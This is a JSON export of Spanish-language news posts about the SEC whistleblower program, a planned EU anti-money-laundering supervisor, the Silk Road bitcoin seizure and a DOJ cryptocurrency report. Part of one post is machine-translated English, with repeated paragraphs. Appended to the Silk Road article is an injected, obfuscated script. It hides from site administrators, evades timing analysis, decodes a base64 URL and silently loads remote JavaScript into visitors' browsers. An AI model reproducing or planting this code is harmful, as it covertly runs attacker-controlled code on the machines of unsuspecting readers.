m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, 